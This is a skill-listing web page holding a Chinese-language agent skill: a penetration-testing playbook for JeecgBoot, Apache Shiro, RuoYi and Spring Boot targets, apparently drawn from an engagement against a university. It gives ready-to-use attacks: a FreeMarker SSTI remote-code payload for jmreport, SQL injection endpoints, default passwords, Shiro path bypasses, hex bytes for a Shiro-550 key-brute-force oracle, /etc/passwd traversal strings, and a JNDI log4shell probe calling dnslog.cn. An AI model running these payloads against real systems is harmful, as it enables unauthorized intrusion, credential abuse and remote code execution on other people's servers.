Skip to main content

java-web-framework-pentest

Java Web 框架渗透实战手册——JeecgBoot/Shiro/RuoYi/SpringBoot fat jar 的指纹识别、攻击面地图与路线生死判定。当目标出现 getEncryptedString/jmreport/sys/dictItem 等 JeecgBoot 特征、rememberMe=deleteMe(Shiro)、com.ruoyi.* 报错(RuoYi)、app.jar 路径泄露(fat jar),或需要判定"上传能否 getshell/图片马是否可用/Shiro-550 怎么爆"时加载。覆盖:JeecgBoot 认证前攻击面、Shiro-550 key 爆破正确 oracle(公开模板字节是错的)、fat jar 上传死亡三件套、图片马 Java 适用前提、RuoYi 越权矩阵与鉴权错乱专项、RCE 穷尽记录法。

Ir para a instalação

Informações da origem

Repositório
Kur1sulab/blackbox
Última atividade na origem
12 de agosto de 2026 às 15:05
Idioma detectado do SKILL.md
chinês
Estrelas
3
Forks
1

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
java-web-framework-pentest
description
Java Web 框架渗透实战手册——JeecgBoot/Shiro/RuoYi/SpringBoot fat jar 的指纹识别、攻击面地图与路线生死判定。当目标出现 getEncryptedString/jmreport/sys/dictItem 等 JeecgBoot 特征、rememberMe=deleteMe(Shiro)、com.ruoyi.* 报错(RuoYi)、app.jar 路径泄露(fat jar),或需要判定"上传能否 getshell/图片马是否可用/Shiro-550 怎么爆"时加载。覆盖:JeecgBoot 认证前攻击面、Shiro-550 key 爆破正确 oracle(公开模板字节是错的)、fat jar 上传死亡三件套、图片马 Java 适用前提、RuoYi 越权矩阵与鉴权错乱专项、RCE 穷尽记录法。
# Java Web 框架渗透实战手册(JeecgBoot / Shiro / RuoYi / SpringBoot) > 2026-08-08 某高校(RuoYi 二开 + JeecgBoot 二开)三天实战固化:12 条 RCE 路线全实测排除 + JeecgBoot 指纹实锤 + Shiro-550 oracle 假阴性血泪。 > 使用方式:指纹命中后按对应节逐条实测;每条路线给出"成立信号"与"死亡信号",见死亡信号即止损换路线。 ## 1. JeecgBoot 指纹(一锤定音级) - **报错格式**:`{"success":false,"message":"操作失败,Required String parameter 'xxx' is not present","code":500,"result":null,"timestamp":...}`——Jeecg Result 类 + Spring 参数缺失格式组合。 - **路径风格**:`/sys/login`、`/sys/dictItem/list`、`/sys/category/loadTreeRoot`(pcode 需传**真实空格**让客户端编码,`%20` 会被当字面量导致空结果——姿势坑)、`/sys/user/register`。 - **实锤级**:`GET /<context>/sys/getEncryptedString` 匿名返回 `{"iv":"1234567890hjlkew","key":"1234567890adbcde"}` = JeecgBoot 官方源码硬编码默认登录加密参数原文。看到即定。 - 附带可报低危:登录密码 AES 加密形同虚设(key/iv 公开,密文可逆 = 明文传输)。 - Shiro 认证特征:任意受保护路径抛 Tomcat 500 页 `org.apache.shiro.authc.AuthenticationException: Token失效,请重新登录`(500 页全文栈 = 版本指纹富矿,footer 有精确 Tomcat 版本号)。 - context 前缀可变(官方 `/jeecg-boot`,二开常见自定义,本例 `/ky`)。 ## 2. JeecgBoot 攻击面地图(认证前) 按历史公开 NDay 逐个试。**全 500 Shiro 页 = 防护基线良好 = 认证前榨干的信号**。 | 面 | 端点/姿势 | 备注 | |---|---|---| | jmreport SSTI RCE(CVE-2023-4450) | `POST <context>/jmreport/queryFieldBySql` **或** `<context>/jeecg-system/jmreport/queryFieldBySql` | **两种挂载都试,一个 404 不代表没有**;payload `{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami\") }'"}`;`?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123` 为部分版本自有鉴权绕过 | | 核心 SQLi | `POST /sys/duplicate/check`(tableName/fieldName/fieldVal);`GET /sys/dict/loadDict/<table>,<field>,<id>,1=1` | 老版本匿名可达 | | 枚举/信息 | `/sys/checkOnlyUser?username=`、`/sys/user/queryByPhone?phone=` | 响应差异 | | Druid 监控台 | `/druid/login.html` + `POST /druid/submitLogin` | 弱口令 druid/druid、ruoyi/123456、admin/admin、jeecg/jeecg;Shiro 包裹时 submitLogin 抛 500 = 未认证不可触 | | knife4j | `/doc.html`(壳常开)+ `/v2/api-docs`、`/v2/api-docs-ext`、`/swagger-resources*` | 壳开数据拦 = 拿不到清单 | | 注册链 | `POST /sys/user/register`(username/password/realname/phone/smscode) | 发码 `/sys/phone/sendCaptcha` 若也要认证 = 校方锁死自注册(死锁);Redis 校验变形:双 null/缺字段/空串/字符串"null",全报"验证码失效" = 严实 | | Shiro 路径绕过 | `;/`、`//`、`/./`、`%2e`、`..;/`、URL 编码 | **Tomcat ≥9.0.30 默认规范化 400/404 全挡**(9.0.39 实测 11 种全灭),别抱期望 | | 断连 000 | 带敏感字段值请求连接重置 | 疑似 WAF 关键词/服务端异常分支;换姿势/换出口复测排除本机被封 | ## 3. Shiro-550 key 爆破 oracle(血泪:公开模板字节是错的) - 原理:rememberMe = AES-CBC(key).encrypt(序列化对象)。key 对 → 解密+反序列化成功 → 响应**无** `Set-Cookie: rememberMe=deleteMe`;key 错 → padding 失败 → deleteMe。 - **oracle payload = 空 SimplePrincipalCollection**(Shiro 核心类必有、无 gadget 依赖、对目标无害)。 - ⚠️ **网传硬编码模板字节多处错误**(类名长度 0x33 实为 0x32、SUID `a8f58a5bd3350fd4` 实为 `a87f5825c6a3084a`、尾部结构差字节)——**用错模板 = 全 key 假阴性**(本案例第一轮 41 key 全灭即模板错,差点误判"key 不在字典")。 - **正解:本机 Java 实生成**:maven 拉 `shiro-core-1.2.4.jar`,10 行代码 `ObjectOutputStream.writeObject(new SimplePrincipalCollection())` 打印 hex。1.2.4 实生成正确字节: `aced0005 7372 0032 6f72672e6170616368652e736869726f2e7375626a6563742e53696d706c655072696e636970616c436f6c6c656374696f6e a87f5825c6a3084a 030001 4c000f 7265616c6d5072696e636970616c73 74000f 4c6a6176612f7574696c2f4d61703b 78 70 70 770100 78` - **双模式都要试**:iv=key(老版 CookieRememberMeManager)与 iv 前置(cookie=iv+密文)。 - 字典:Mr-xn/Penetration_Testing_POC 的 `shiro_keys_200.txt`(198 条 16 字节 key)。 - 判定:`rememberMe=deleteMe` 机制确认但字典全灭 = 自定义强 key,**停手**(无字典可破,别想当然扩大爆破)。 ## 4. SpringBoot fat jar + 前后端分离:上传 getshell 死亡判定 - **fat jar 证据**:报错泄露 `/root/ruoyi/app.jar` 类路径 = fat jar 部署 = **无外部 webapps 解析目录**。 - **死亡三件套**(全中即此路不通,别再试后缀变形):①直接 URL 访问上传文件 → SPA fallback 壳;②下载接口拿回 → 源码原文(`<%= %>` 标签原样,octet-stream);③API 前缀路径 → 401。 - **图片马在 Java 环境无 PHP 式 include**,仅两个场景可用:**AJP Ghostcat 包含**(CVE-2020-1938,Tomcat <9.0.31/8.5.51/7.0.100 且 8009 对外开放)与 **Tomcat manager war 部署**(/manager/html 可达+弱口令)。两前提都不满足 = 图片马直接放弃。查法:500 页 footer 拿 Tomcat 精确版本 + socket 扫 8009/8080 + curl /manager/*(注意 nginx SPA fallback 会吃掉 manager 路径)。 - **上传真实危害降级**:任意类型托管 + 官方域名分发链(钓鱼背书)——jsp 探针实测可传可下载即可定中危;exe/HTML 类推标【推演】。 - **路径穿越写 oracle**:往 `/proc`、`/sys` 穿越上传竟返回 200 = **假拼接路径**(响应里的路径字符串是拼接的,实际存储做了规范化/静默丢弃)——别被 200 骗;回拉验证(下载接口拉所有候选落点全 0 字节)才是真相。穿越读同理:`companyFiles/../../etc/passwd` 类以白名单前缀开头的变形试全,全 0 字节 = 白名单在规范化后校验。 ## 5. RuoYi 二开速查(小北就业系等) - 指纹:报错 `com.ruoyi.*` 栈、登录接口形态(base64 密码 + role 参数)、JWT、Spring Security JSON 403(`{"timestamp","status":403,"error":"Forbidden"}`)。 - **认证后越权矩阵**:自注册账号 token 调 `/system/user/list`、`/monitor/job/list`、`/tool/gen/list`、`/monitor/server`——全 403"没有权限,请联系管理员授权" = @PreAuthorize 配好(RuoYi 后台 RCE 无望);任何 200 = 越权金矿。 - **鉴权错乱专项**:找"匿名放行但 token 反 403"的接口(本例 `/afd/ftp/download`)——配置错乱实锤信号,报告里是高光成立点(比单纯"未授权"更有说服力)。 - 兄弟接口对照:`/afd/student/resume/list` 403 vs `/afd/student/joinMeeting/positionList` 全量放行 = 权限漏配实锤范式。 - 前端 `noLogin`/`anonymous` 前缀接口 = 设计匿名版(对应登录版路径并存),返回公开数据不成立——成立性判断走 vuln-report-reviewer §1 成立性预审。 ## 6. 穷尽可能性记录法(证据文档加分项) RCE/getshell 目标未达成时,用 **"路线 × 实测结果 × 死因"表格**全量记录(本例 11-12 条),每条附关键证据(500 页版本 footer、dnslog 0 记录、403 响应原文、字典规模)。审核员/复核者最信任诚实排除——它把"没拿到 shell"从失败变成攻击面画像资产,也是下次换思路时的防重复测试台账。 ## 7. 杂项工具坑 - playwright 截图:`channel="msedge"`/`"chrome"` 复用本机浏览器免下载二进制;`ignore_https_errors=True` 过自签/链不完整证书(browser 工具无此参数时改走本地 playwright)。 - Kali 后台任务:`setsid bash -c '... >log 2>&1 < /dev/null &'` 脱离 SSH 会话(nohup 会被 paramiko 30s 超时带走),产物写文件轮询取回。 - log4shell 无害探针:dnslog.cn `getdomain.php`(带 cookie)→ UA/XFF/JSON 参数插桩 `${jndi:ldap://<sub>.dnslog.cn/a}` → 90s 后 `getrecords.php` 查——0 记录 = 不存在/已修,如实排除。 - MySQL 公网面:nmap `mysql-info` 拿版本/插件/Salt 无需账号;root 远程 4 组最常见默认组合被拒 = 防护正常即停手(继续爆 = 真实账号攻击区)。
Ver no GitHub